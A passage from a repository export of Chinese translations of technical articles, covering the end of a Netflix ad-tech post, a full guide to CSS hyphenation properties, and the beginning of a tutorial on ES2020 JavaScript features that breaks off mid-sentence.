Vehicle_** —— 一个由内容性能数据和广告性能数据驱动的始终支持常绿/常青状态的自动化优化广告系列。自动预算分配算法（我们将在本系列的下一篇博客中讨论它），这非常有效地调整了操作复杂度。因此，我们的营销用户可以专注于构建精彩的广告素材，并制定 A/B 测试和市场技术，我们的自动化目录有助于将创意传达到与之对应的地方 ——  自动化广告选择和个性化。\n\n为了理解为什么这是一个游戏改变者，让我们回顾一下之前的方法 —— 每个需要发布的标题都必须涉及预算、目标定位，是否支持任意标题，运行时长，消费水平等。\n\n面对我们不断增加的内容库，对于世界上几乎所有国家的营销广度和细微差别以及需要支持的平台和格式的数量，这是一项极其艰巨的任务。其次，对创造性表现的意外变化做出足够快的反应是很有挑战性的，同时也要把重点放在即将到来的广告和发布会上。\n\n![](https://cdn-images-1.medium.com/max/800/1*TuPBPYY83i85z6vYN7lTsQ.png)\n\n实际上，Netflix 的做法是，我们通过一系列 A/B 测试获得这个模型 —— 起初，我们运行了几个测试，了解到一个带有个性化交互的始终在线的广告目录的性能优于我们先前的 tentpole 发布方法。我们之后进行了跟进，来确定它在不同平台是如何做到表现优异的。正如人们所想的那样，这基本上是一个持续学习的过程，当我们继续在世界各地进行越来越多的营销 A/B 测试时，我们惊喜地发现我们的优化指标有了巨大的、连续的改进。\n\n### 服务架构\n\n我们使用一些基于 Java 和 Groovy 的微服务来启用这项技术，这些服务可以访问各种 NoSQL 存储，比如 Cassandra 和 Elasticsearch，使用 Kafka 和 Hermes 传输数据或触发导致在 [Titus](https://medium.com/netflix-techblog/titus-the-netflix-container-management-platform-is-now-open-source-f868c9fb5436) 上调用的 [dockerized 微服务应用程序](https://medium.com/netflix-techblog/the-evolution-of-container-usage-at-netflix-3abfc096781b)事件来粘合不同部分。\n\n![](https://cdn-images-1.medium.com/max/800/1*6_BrSaP_JSBsJPZP0RPGzA.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*H6bB68gFOfg3mjQ672j5xQ.png)\n\n我们广告服务器中大量使用 [RxJava](https://github.com/ReactiveX/RxJava) 来处理实时服务展示和 VAST 视频请求，使用 RXNetty 作为它的应用程序框架，它提供定制化但是特色很少还伴随着相应的开销。我们使用 Tomcat / Jersey / Guice 作为广告的中间件服务器，因为它提供了更多的特性，且易于集成，比如简单的验证和授权。因为我们缺少严格的延迟和吞吐量限制，这些中间件服务器可以为 Netflix 的云端系统提供开箱即用的支持。\n\n### 展望未来\n\n尽管过去的这些年中，我们利用机会创建了大量的技术，但现实是，我们所需要完成的工作仍有很多。\n\n我们已经在一些广告平台上取得了巨大的进步，在有些平台上却才刚起步，而还有一些平台，我们还未纳入考虑范围。在有些平台中，我们已经完成了广告创作，组装和管理以及 QC 等流程，而在其他平台中，我们甚至还未触及广告中简单的组装内容。\n\n自动化和机器学习已经让我们走得足够远了 — 但我们的团队对于如何做得更多以及做的更好的兴趣远超于构建这些系统的速度。因为我们面临着许多有趣的挑战，所以每次在广告流程的各个方面使用数据进行流量分析和预测时，每个 A/B 测试都会让我们相处更多的探索方向。\n\n### Closing\n\n总之，我们已经讨论了如何构建独特的广告技术来帮助我们在广告工作中增加规模和智能。其中一些细节本身就值得后续的文章，我们将在未来发布它们。\n\n为了进一步推进我们的营销技术之旅，我们很快就会有下一个博客，它将故事推进到我们如何支持来自各种平台的营销分析，并使不可能的事情成为可能，以及用它来优化营销支出。\n\n如果你对加入我们有兴趣，想要参与 Netflix 的营销团队的机会，可以关注我们现在的[**招聘**](https://sites.google.com/netflix.com/adtechjobs/ad-tech-engineering)！:)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/hyphenation-in-css.md",
    "content": "> * 原文地址：[All you need to know about hyphenation in CSS](https://clagnut.com/blog/2395)\n> * 原文作者：[Richard Rutter](https://clagnut.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/hyphenation-in-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/hyphenation-in-css.md)\n> * 译者：[马猴烧酒](https://github.com/Augustwuli)\n> * 校对者：[L9m](https://github.com/L9m)\n\n![在古腾堡圣经的一些内容中，许多句子都使用了连字符。](https://user-gold-cdn.xitu.io/2019/4/14/16a199cf29a9d077?w=1086&h=246&f=jpeg&s=115352)\n\n月初我应邀在维也纳的奥地利印刷学会（[tga](http://typographischegesellschaft.at/)）做了一场[晚间讲座](http://typographischegesellschaft.at/k_vortrag_workshop/v_rutter.html)。我很荣幸能够做这样一个演讲，因为这意味着我将追随马修·卡特（Matthew Carter）、维姆·克鲁维尔（Wim Crouwel）、玛格丽特·卡尔弗特（Margaret Calvert）、埃里克·斯皮克曼（Erik Spiekermann）和已故的弗雷达·萨克（Freda Sack）等名人的脚步。\n\n我展示了一些 Web 排版的黄金准则，在之后的问答环节中，我被问到关于 Web 自动断字的现状。这是一个恰当的问题，因为德语以长单词而闻名 —— 尤其在名词复合词中很常见（例如 Verbesserungsvorschlag 意为改进建议）—— 所以使用连字符断字在大多数书面媒体中被广泛使用。\n\n自 2011 年以来，Web 上的自动断字已经成为[可能](https://clagnut.com/blog/2394)，现在得到了[广泛的支持](https://caniuse.com/#feat=css-hyphens)。Safari、Firefox 和 Internet Explorer 9 以上版本支持自动断字，Android 和 MacOS 上的 Chrome 也支持自动断字（但 [Windows 或 Linux](https://bugs.chromium.org/p/chromium/issues/detail?id=652964) 上还没有）。\n\n## 如何开启自动断字\n\n打开自动断字需要两个步骤。首先设置文本语言。这将告诉浏览器使用哪个断字字典 —— 正确的自动断字需要一个适合文本语言的断字字典。CSS 指南说，如果浏览器不知道文本的语言，即使在样式表中打开连字符，也不会自动断字。\n\n断字是一门复杂的学科。断字点主要以词源和音系相结合的音节为基础，但特定机构也有不同的断字规则。\n\n### 1. 设置语言\n\n网页语言应该使用 HTML 的 `lang` 属性设置。\n\n```html\n<html lang=\"en\">\n```\n\n设置文本语言有益于自动翻译工具、屏幕阅读器和其他辅助软件，无论是否使用断字，这种方式都是所有 Web 页面的最佳实践。\n\n`lang=\"en\"` 属性通过使用一个 [ISO 语言标签](https://www.w3.org/International/articles/language-tags/) 告诉浏览器文本使用的是英语。这个案例中，浏览器将会选择它默认的英语断字字典，这意味着使用美式英语的断字。虽然美式英语和其他国家在拼写和发音（因此断字）上有很大差异，但在葡萄牙语等语言上的差异可能更大。解决方案是在语言中添加一个「区域」，以便浏览器知道哪个是最合适的断字字典。例如，要指定巴西葡萄牙语或英式英语：\n\n```html\n<html lang=\"pt-BR\">\n<html lang=\"en-GB\">\n```\n\n### 2.启用断字\n\n到目前为止，已经设置好了语言，可以在 CSS 中打开自动断字。这再简单不过了：\n\n```css\nhyphens: auto;\n```\n\n目前 Safari 和 IE/Edge 都需要前缀，所以需要在属性前面加对应的前缀：\n\n```css\n-ms-hyphens: auto;\n-webkit-hyphens: auto;\nhyphens: auto;\n```\n\n## 断字控制\n\n设置断字不仅仅是打开断字。[CSS Text Module Level 4](https://www.w3.org/TR/css-text-4/#hyphenation) 引入了布局软件（例如 InDesign）和一些文字处理器（包括 Word）。这些控制提供了不同的方法来定义文本中出现了多少断字。\n\n### 限制断字前后的单词的长度和字符数\n\n如果你用连字符连接短单词，它们会更难读。同样，您也不希望在连字符之前的行上留下太少的字符，或者在连字符之后被移到下一行。一个常见的经验法则是，只允许至少有 6 个字母长的单词用连字符连接，在单词断开之前至少留下 3 个字符，并在下一行至少保留 2 个字符。\n\n《牛津风格手册》（Oxford Style Manual）建议，换行符中连字符后的最小字母数是 3，不过也可以在很短的时间内出现例外。\n\n您可以使用断字 `hyphenate-limit-chars` 属性设置这些限制。它使用三个空格分隔值。第一个是连字符的最小字符限制；二是连字符前的最小字符数；最后是连字符后的最小字符。要设置前面提到的规则，限制 6 个字符的字数，在断字符前加 3 个字符，在断字符后加 2 个字符，请使用：\n\n```css\nhyphenate-limit-chars: 6 3 2;\n```\n\n![](https://user-gold-cdn.xitu.io/2019/4/14/16a199d2387ba79e?w=1074&h=186&f=png&s=33030)\n\n> hyphenate-limit-chars 实现效果。\n\n对于所有这三个设置，`hyphenate-limit-chars` 的默认值都是 `auto`。这意味着浏览器应该根据当前的语言和布局选择最佳设置。CSS Text Module Level 4 建议浏览器使用 `5 2 2` 作为起始点（我认为这会导致有太多的连字符），但是浏览器可以根据自己的需要随意更改。\n\n目前，只有 IE/Edge 支持这个属性（带有前缀），但是 Safari 确实支持使用 CSS3 Text Module 早期草稿中指定的一些遗留属性限制连字符。这意味着你可以在 Edge 和 Safari 中获得相同的控制（对 Firefox 进行一些提前规划），如下所示：\n\n```css\n/* 遗留属性 */\n-webkit-hyphenate-limit-before: 3;\n-webkit-hyphenate-limit-after: 2;\n\n/* 建议使用 */\n-moz-hyphenate-limit-chars: 6 3 2; /* not yet supported */\n-webkit-hyphenate-limit-chars: 6 3 2; /* not yet supported */\n-ms-hyphenate-limit-chars: 6 3 2;\nhyphenate-limit-chars: 6 3 2;\n```\n\n### 限制连续连字符行数\n\n出于美学的原因，可以限制行中连字符的行数。连续连字符的线，特别是三条或三条以上的线，这被轻蔑地称为梯子。英语的一般经验法则是，连续两行是理想的最大值（相比之下，德语读者可能要面对许多梯子）。默认情况下，CSS 不限制连续连字符的数量，但是可以使用 `hyphenate-limit-lines` 属性指定最大值。目前，这只被 IE/Edge 和 Safari （带有前缀）支持。\n\n```css\n-ms-hyphenate-limit-lines: 2;\n-webkit-hyphenate-limit-lines: 2;\nhyphenate-limit-lines: 2;\n```\n\n![](https://user-gold-cdn.xitu.io/2019/4/14/16a199d39c2d9c8a?w=1089&h=372&f=png&s=95544)\n\n> hyphenate-limit-lines 用来防止梯子。\n\n你可以使用 `no-limit` 删除限制。\n\n### 避免在段落的最后一行使用连字符\n\n除非你告诉它，否则浏览器会很乐意用连字符连接一段的最后一个单词，这样断字的某位会单独出现在最后一行，就像孤儿一样孤独。通常，在倒数第二行末尾有一个大的空格比在最后一行有半个字要好。你可以通过激活值为 `always` 的 `hyphenate-limit-last` 属性来实现这一点。\n\n```css\nhyphenate-limit-last: always;\n```\n\n目前只支持 IE/Edge（带前缀）。\n\n### 通过设置连字符区来减少连字符\n\n默认情况下，只要浏览器可以在任意设置的 `hyphenate-limit-chars` 和 `hyphenate-limit-lines` 值内将一个单词分隔成两行，就会经常出现连字符。即使应用这些属性来控制什么时候发生断字，仍然可能出现大量的连字符段落。即使应用这些属性来控制什么时候发生断字，仍然可能出现大量的连字符段落。\n\n考虑一个左对齐的段落。右边参差不齐，连字符可以减少。默认情况下，所有允许断字的单词都将被连字符连接。这将给你最大的断字量，从而最大限度地减少碎屑。如果你准备容忍段落边缘的不均匀，你可以减少连字符的数量。\n\n可以通过指定行最后一个单词和文本框边缘之间允许的最大空白量来实现这一点。如果一个新单词在这个空格中开始，它没有连字符。这个空格称为连字符区。连字区越大，破碎处越多，断字越少。通过调整连字符区，你可以平衡更好的间距和更少的连字符之间的比例。\n\n![](http://clagnut.com/images/1-handj-hyphenation-zone.png)\n\n> **左**：箭头表示允许连字符的线。\n> **右**：连字符与连字符区设置。\n>\n> 为此，你可以使用 `hyphenation-limit-zone` 属性，它接受一个长度或百分比值（根据文本框的宽度）。在响应式设计的上下文中，将连字符区设置为百分比是有意义的。这样做意味着在更小的屏幕会有更小的连字符区，从而导致更多的连字符和更少的碎屑。相反，在更宽的屏幕上，你会得到更宽的连字符区，因此更少的连字符和更多的碎屑，这是一个更宽的措施能更好的适应。基于页面布局软件的典型默认值，8% 是一个不错的开始：\n\n```css\nhyphenate-limit-zone: 8%\n```\n\n目前只支持 IE/Edge（带前缀）。\n\n### 把它们放在一起\n\n使用 CSS Text Module Level 4 属性对段落应用与传统布局软件相同的连字符控制（至少逐行使用）：\n\n```css\np {\n    hyphens: auto;\n    hyphenate-limit-chars: 6 3 3;\n    hyphenate-limit-lines: 2;\n    hyphenate-limit-last: always;\n    hyphenate-limit-zone: 8%;\n}\n```\n\n以及适当的浏览器前缀和回退：\n\n```css\np {\n    -webkit-hyphens: auto;\n    -webkit-hyphenate-limit-before: 3;\n    -webkit-hyphenate-limit-after: 3;\n    -webkit-hyphenate-limit-chars: 6 3 3;\n    -webkit-hyphenate-limit-lines: 2;\n    -webkit-hyphenate-limit-last: always;\n    -webkit-hyphenate-limit-zone: 8%;\n\n    -moz-hyphens: auto;\n    -moz-hyphenate-limit-chars: 6 3 3;\n    -moz-hyphenate-limit-lines: 2;\n    -moz-hyphenate-limit-last: always;\n    -moz-hyphenate-limit-zone: 8%;\n\n    -ms-hyphens: auto;\n    -ms-hyphenate-limit-chars: 6 3 3;\n    -ms-hyphenate-limit-lines: 2;\n    -ms-hyphenate-limit-last: always;\n    -ms-hyphenate-limit-zone: 8%;\n\n    hyphens: auto;\n    hyphenate-limit-chars: 6 3 3;\n    hyphenate-limit-lines: 2;\n    hyphenate-limit-last: always;\n    hyphenate-limit-zone: 8%;\n}\n```\n\n连字符是渐进式增强的一个完美例子，因此，如果你正在制作一个有长单词语言内容的网站，那么现在就可以开始应用上面的方法 —— 浏览器之间的支持只会增加。如果你在为一个用长单词写的网站设计，比如德语，你的读者一定会感谢你的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/i-built-an-app-that-uses-all-7-new-features-in-javascript-es2020.md",
    "content": "> - 原文地址：[I Built an App That Uses All 7 New Features in JavaScript ES2020](https://levelup.gitconnected.com/i-built-an-app-that-uses-all-7-new-features-in-javascript-es2020-647205024984)\n> - 原文作者：[Tyler Hawkins](https://medium.com/@thawkin3)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/i-built-an-app-that-uses-all-7-new-features-in-javascript-es2020.md](https://github.com/xitu/gold-miner/blob/master/TODO1/i-built-an-app-that-uses-all-7-new-features-in-javascript-es2020.md)\n> - 译者：[yvonneit](https://github.com/yvonneit)\n> - 校对者：[Raoul1996](https://github.com/Raoul1996), [niayyy-S](https://github.com/niayyy-S)\n\n# 使用 JavaScript ES2020 中所有的 7 个新特性构建 App\n\n![Unit Price Calculator App](https://cdn-images-1.medium.com/max/2506/0*10AyqKCN-035dR-L.png)\n\nweb 开发领域发展迅速，尤其是 JavaScript 生态系统。新的特性、框架和库层出不穷，停止学习的那一刻，即是你技术栈开始过时之时。\n\n保持 JavaScript 技能前沿性的一个重点就是掌握 JavaScript 的最新特性。因此，我认为如果能够结合 JavaScript ES2020 中的所有七个新特性来构建 app 肯定会很有趣。\n\n---\n\n我最近去 Costco 采购了很多东西，以储备一些食品必需品。像大多数商店一样，Costco 中的价格标签用以标示每件商品的单价，这样顾客就可以比较每笔交易值不值得。如果是你，你会带着小购物袋还是大购物袋去买东西呢？（我在跟谁开玩笑呢？这是 Costco 啊，肯定带大的！）\n\n但如果不显示商品的单价呢？\n\n在本文中，我将构建一个单价计算器 app。其中，前端使用 vanilla JS，后端使用 [Node.js](https://nodejs.org/en/) 和 [Express.js](https://expressjs.com/)。然后在 [Heroku](http://heroku.com/) 上部署该 app，利用 Heroku 可以很容易[快速部署 node.js 应用程序](https://devcenter.heroku.com/articles/getting-started-with-nodejs)。\n\n## JavaScript ES2020 中有什么新特性？\n\nECMAScript 是 JavaScript 的一种语言规范。从 ES2015（ES6）开始，每年都会发布一个新版本的 JavaScript。截至目前，最新版本为 ES2020（ES11）。ES2020 包含了七个令 JS 开发人员既兴奋又期待已久的七个新特性，这些新特性包括：\n\n1. Promise.allSettled()\n2. 可选链（Optional Chaining）\n3. 空值合并（Nullish Coalescing\n4. globalThis\n5. 动态导入（Dynamic Imports\n6. String.prototype.matchAll()\n7. BigInt\n\n需要注意的是并不是所有的浏览器都支持这些特性，如果想现在就开始使用这些特性，那么就要确保使用了合适的 polyfill 或者像 Babel 这样的编译器以确保代码与低版本浏览器兼容。\n\n## 入门指南\n\n如果你想使用自己的代码副本，请首先创建一个 Heroku 帐户并在计算机上安装 Heroku CLI。有关安装说明可以参阅 [Heroku guide](https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up) 指南。\n\n完成以上操作后，就可以使用 CLI 轻松创建和部署项目了。运行此示例应用程序所需的所有源代码都[可以在 GitHub 上找到](https://github.com/thawkin3/unit-price-calculator)。\n\n以下是有关如何克隆仓库并部署到 Heroku 的分步说明：\n\n```bash\ngit clone https://github.com/thawkin3/unit-price-calculator.git\ncd unit-price-calculator\nheroku create\ngit push heroku master\nheroku open\n```\n\n## 系统概述\n\n单价计算器 app 非常简单：用户可以比较虚拟产品的各种价格和重量选项，然后计算单价。当页面加载时，通过请求两个 API 接口从服务器获取产品数据。然后，用户就可以选择产品、首选的计量单位和价格/重量的组合了，最后点击提交按钮完成单价计算。\n\n![单价计算器 App](https://cdn-images-1.medium.com/max/2506/0*10AyqKCN-035dR-L.png)\n\n现在你已经看到了这个 App，让我们了解一下我是如何使用 ES2020 中所有七个新特性的。下面我们将详细讨论每个特性是什么、它的用途以及使用方式。\n\n## 1. Promise.allSettled()\n\n当用户第一次访问单价计算器 app 时，会发送三个 API 请求来向服务器获取产品数据，这时可以使用`Promise.allSettled()`等待所有三个请求完成：\n\n```JavaScript\nconst fetchProductsPromise = fetch('/api/products')\n  .then(response => response.json())\n\nconst fetchPricesPromise = fetch('/api/prices')\n  .then(response => response.json())\n\nconst fetchDescriptionsPromise = fetch('/api/descriptions')\n  .then(response => response.json())\n\nPromise.allSettled([fetchProductsPromise, fetchPricesPromise, fetchDescriptionsPromise])\n  .then(data => {\n    // 处理响应\n  })\n  .catch(err => {\n    // 处理报错\n  })\n```\n\n`Promise.allSettled()` 作为新特性之一拓展了现有的 `Promise.all()` 功能，以上两种方法都允许提供一个 promises 实例数组作为参数，并且都返回一个新的 promise 实例。\n\n区别是， 如果 promises 实例数组中有一个被 rejected，那么`Promise.all()` 就会中断请求过程，而 `Promise.allSettled()` 会等待**所有** promises 请求完成， 无论它们是被 resolved 或者 rejected。\n\n所以如果你想获得所有 promises 的解析结果，即使其中一些 promises 被 rejected，那么就可以使用 `Promise.allSettled()` 这个新特性。\n\n让我们看一下使用 `Promise.all()` 的另外一个例子：\n\n```JavaScript\n// promises 1-3 都 resolved\nconst promise1 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 1 resolved!'), 100))\nconst promise2 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 2 resolved!'), 200))\nconst promise3 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 3 resolved!'), 300))\n\n// promise 4 和 6 将会 resolved，但是 promise 5 将被 rejected\nconst promise4 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 4 resolved!'), 1100))\nconst promise5 = new Promise((resolve, reject) => setTimeout(() => reject('promise 5 rejected!'), 1200))\nconst promise6 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 6 resolved!'), 1300))\n\n// 没有 rejected 时 Promise.all() 的表现\nPromise.all([promise1, promise2, promise3])\n  .then(data => console.log('all resolved! here are the resolve values:', data))\n  .catch(err => console.log('got rejected! reason:', err))\n// 所有的请求都 resolved！这是 resolve 到的值：[\"promise 1 resolved!\", \"promise 2 resolved!\", \"promise 3 resolved!\"]\n\n// 有一个 rejected 时 Promise.all() 的表现\nPromise.all([promise4, promise5, promise6])\n  .then(data => console.log('all resolved! here are the resolve values:', data))\n  .catch(err => console.log('got rejected! reason:', err))\n// 输出：got rejected! reason: promise 5 rejected!\n```\n\n以下是使用 `Promise.allSettled()` 的实例，注意当 promise 被 rejected 之后二者的区别：\n\n```JavaScript\n// promises 1-3 都 resolved\nconst promise1 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 1 resolved!'), 100))\nconst promise2 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 2 resolved!'), 200))\nconst promise3 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 3 resolved!'), 300))\n\n// promise 4 和 6 将会resolved, 但是 promise 5 将被 rejected\nconst promise4 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 4 resolved!'), 1100))\nconst promise5 = new Promise((resolve, reject) => setTimeout(() => reject('promise 5 rejected!'), 1200))\nconst promise6 = new Promise((resolve, reject) => setTimeout(() => resolve('promise 6 resolved!'), 1300))\n\n// 没有 rejected 时的 Promise.allSettled() 的表现\nPromise.allSettled([promise1, promise2, promise3])\n  .then(data => console.log('all settled! here are the results:', data))\n  .catch(err => console.log('oh no, error! reason:', err))\n// 所有请求都完成了！这里是结果： [\n//   { status: \"fulfilled\", value: \"promise 1 resolved!\" },\n//   { status: \"fulfilled\", value: \"promise 2 resolved!\" },\n//   { status: \"fulfilled\", value: \"promise 3 resolved!\" },\n// ]\n\n// 当有一个为 rejected 时 Promise.allSettled() 的表现\nPromise.allSettled([promise4, promise5, promise6])\n  .then(data => console.log('all settled! here are the results:', data))\n  .catch(err => console.log('oh no, error! reason:', err))\n// 所有请求都完成了！这里是结果： [\n//   { status: \"fulfilled\", value: \"promise 4 resolved!\" },\n//   { status: \"rejected\", reason: \"promise 5 rejected!\" },\n//   { status: \"fulfilled\", value: \"promise 6 resolved!\" },\n// ]\n```\n\n## 2. 可选链（Optional Chaining）\n\n一旦数据请求完成，我们开始处理响应。从服务器返回的数据包含一个具有深层嵌套属性的对象数组，为了安全访问这些属性，我们可以使用新发布的可选链操作符：\n\n```JavaScript\nif (data?.[0]?.status === 'fulfilled' && data?.[1]?.status === 'fulfilled') {\n  const products = data[0].value?.products\n  const prices = data[1].value?.prices\n  const descriptions = data[2].value?.descriptions\n  populateProductDropdown(products, descriptions)\n  saveDataToAppState(products, prices, descriptions)\n  return\n}\n```\n\n可选链是在 ES2020 中最让我激动的特性，可选链操作符 `?.` 支持安全地访问对象的深层嵌套属性，而无需检查每个属性是否存在。\n\n例如，在 ES2020 之前，为了访问 `user` 对象的 `street` 属性，可能需要写下面这样的代码：\n\n```JavaScript\nconst user = {\n  firstName: 'John',\n  lastName: 'Doe',\n  address: {\n    street: '123 Anywhere Lane',\n    city: 'Some Town',\n    state: 'NY',\n    zip: 12345,\n  },\n}\n\nconst street = user && user.address && user.address.street\n// '123 Anywhere Lane'\n\nconst badProp = user && user.fakeProp && user.fakePropChild\n// undefined\n```\n\n为了安全地访问 `street` 属性，必须首先确保 `user` 对象和 `address` 属性的存在，然后才能尝试去访问 `street` 属性。\n\n借助可选链，访问嵌套属性的代码简洁了许多：\n\n```JavaScript\nconst user = {\n  firstName: 'John',\n  lastName: 'Doe',\n  address: {\n    street: '123 Anywhere Lane',\n    city: 'Some Town',\n    state: 'NY',\n    zip: 12345,\n  },\n}\n\nconst street = user?.address?.street\n// '123 Anywhere Lane'\n\nconst badProp = user?.fakeProp?.fakePropChild\n// undefined\n```\n\n如果在可选链上的值都不存在，则会返回 `undefined`。否则，返回访问的属性值。\n\n## 3. 空值合并（Nullish Coalescing）\n\n当 app 加载时，还需要获取用户对测量单位的偏好设置：千克或磅。但是首选项保存在本地存储中，对于首次访问 app 的用户来说首选项还不存在。可以利用空值合并运算符来解决是使用本地存储中的值还是使用默认值千克的问题：\n\n```JavaScript\nappState.doesPreferKilograms = JSON.parse(doesPreferKilograms ?? 'true')\n```\n\n当你想要获取一个非 `undefined` 或者 `null` 的变量值时，空值合并运算符 `??` 十分方便。如果指定的变量是一个布尔值，你想要使用它的值，即使它的值为 `false` ，就需要使用 `??` 操作符来替代 `||`。\n\n例如，假设要开发某些功能设置的切换，如果用户专门为该功能设置了一个值，则需要首先考虑他们的选择，而如果用户没有指定相关值，你希望通过设置默认值来为用户帐户启用该功能。\n\n在 ES2020 发布之前，你可能需要这样写：\n\n```JavaScript\nconst useCoolFeature1 = true\nconst useCoolFeature2 = false\nconst useCoolFeature3 = undefined\nconst useCoolFeature4 = null\n\nconst getUserFeaturePreference = (featurePreference) => {\n  if (featurePreference || featurePreference === false) {\n    return featurePreference\n  }\n  return true\n}\n\ngetUserFeaturePreference(useCoolFeature1) // true\ngetUserFeaturePreference(useCoolFeature2) // false\ngetUserFeaturePreference(useCoolFeature3) // true\ngetUserFeaturePreference(useCoolFeature4) // true\n```\n\n通过使用空值合并操作符，代码会变得更加简洁且易懂：\n\n```JavaScript\nconst useCoolFeature1 = true\nconst useCoolFeature2 = false\nconst useCoolFeature3 = undefined\nconst useCoolFeature4 = null\n\nconst getUserFeaturePreference = (featurePreference) => {\n  return featurePreference ?? true\n}\n\ngetUserFeaturePreference(useCoolFeature1) // true\ngetUserFeaturePreference(useCoolFeature2) // false\ngetUserFeaturePreference(useCoolFeature3) // true\ngetUserFeaturePreference(useCoolFeature4) // true\n```\n\n## 4. globalThis\n\n如上所述，使用本地存储来获取和设置用户对测量单位的偏好。对于浏览器来说，本地存储对象是 `window` 对象的一个属性，可以直接调用 `localStorage` 访问一个 Storage 对象，也可以调用 `window.localStorage`。在 ES2020 中，还可以通过 `globalThis` 对象来访问本地存储（注意：还需要使用可选链进行一些功能检测，以确保浏览器支持本地存储功能）：\n\n```JavaScript\nconst doesPreferKilograms = globalThis.localStorage?.getItem?.('prefersKg')\n```\n\n`globalThis` 特性非常简单，但它解决了一些你可能会踩坑的问题。简单来说，`globalThis` 包含对全局对象的引用，在浏览器中，全局对象就是 `window`，而在 Node 环境中，全局对象即字面上的 `global`。使用 `globalThis` 可以确保无论代码运行在什么环境中，始终对全局对象具有有效的引用。这样你就可以编写可移植的 JavaScript 模块，无论是在浏览器的主线程、 Web Worker 或 Node 环境，这些 JS 模块都可以正确运行。\n\n## 5. 动态导入（Dynamic Imports）\n\n当用户选择了产品、计量单位、重量和价格组合之后，就可以单击提交按钮来查询单价信息。当按钮被点击之后，懒加载用于计算单价的 JavaScript 模块。在浏览器开发工具中检查网络请求，可以发现在点击按钮之前不会加载第二个文件：\n\n```JavaScript\nimport('./calculate.js')\n  .then(module => {\n    // 使用模块导出的方法\n  })\n  .catch(err => {\n    // 处理加载模块的错误或其他后续错误\n  })\n```\n\nES2020 发布之前，在 JavaScript 中使用 `import` 语句意味着请求父文件时导入的文件将自动包含在父文件中。\n\n像 [webpack](https://webpack.js.org/) 这样的模块打包器使得“代码分离”的概念流行起来，即能够将 JavaScript 包拆分为多个可以按需加载的文件的功能，React 中通过 `React.lazy()` 方法实现了此功能。\n\n代码拆分对于单页应用程序（SPA）非常有用，可以在每个页面把代码分离到不同的包中，因此只需要下载当前视图所需的代码，显著加速了首屏加载时间，这样终端用户就不必提前下载整个应用程序。\n\n代码拆分对于大部分特定环境下才需使用的代码很有帮助。比如应用程序页面上有一个“导出 PDF”的按钮，PDF 文件下载功能的代码比较大，当所需页面加载时再包含这部分代码可以减少总体加载时间。但是并非每个访问此页面的用户都需要或希望导出 PDF 文件，为了提高性能，可以懒加载 PDF 下载代码，以便只有当用户单击“导出 PDF”按钮时，才下载附加的 JavaScript 包。\n\n在 ES2020 中，JavaScript 规范直接加入了动态导入！\n\n让我们看一个没有动态导入的“导出 PDF”功能的示例：\n\n```JavaScript\nimport { exportPdf } from './pdf-download.js'\n\nconst exportPdfButton = document.querySelector('.exportPdfButton')\nexportPdfButton.addEventListener('click', exportPdf)\n\n// 这段代码很短，但“pdf-download.js”模块是在页面加载时加载的，而不是在单击按钮时加载\n```\n\n现在让我们看看如何使用动态导入懒加载大体量的 PDF 下载模块：\n\n```JavaScript\nconst exportPdfButton = document.querySelector('.exportPdfButton')\n\nexportPdfButton.addEventListener('click', () => {\n  import('./pdf-download.js')\n    .then(module => {\n      // 在模块中调用一些导出的方法\n      module.exportPdf()\n    })\n    .catch(err => {\n      // 模块无法加载时处理错误\n    })\n})\n\n// “pdf-download.js”模块仅在用户单击“导出 PDF”按钮时导入\n```\n\n## 6. String.prototype.matchAll()\n\n调用 `calculateUnitPrice` 方法时传入产品名称和价格/重量组合参数，价格/重量组合是一个类似“\\$200 for 10 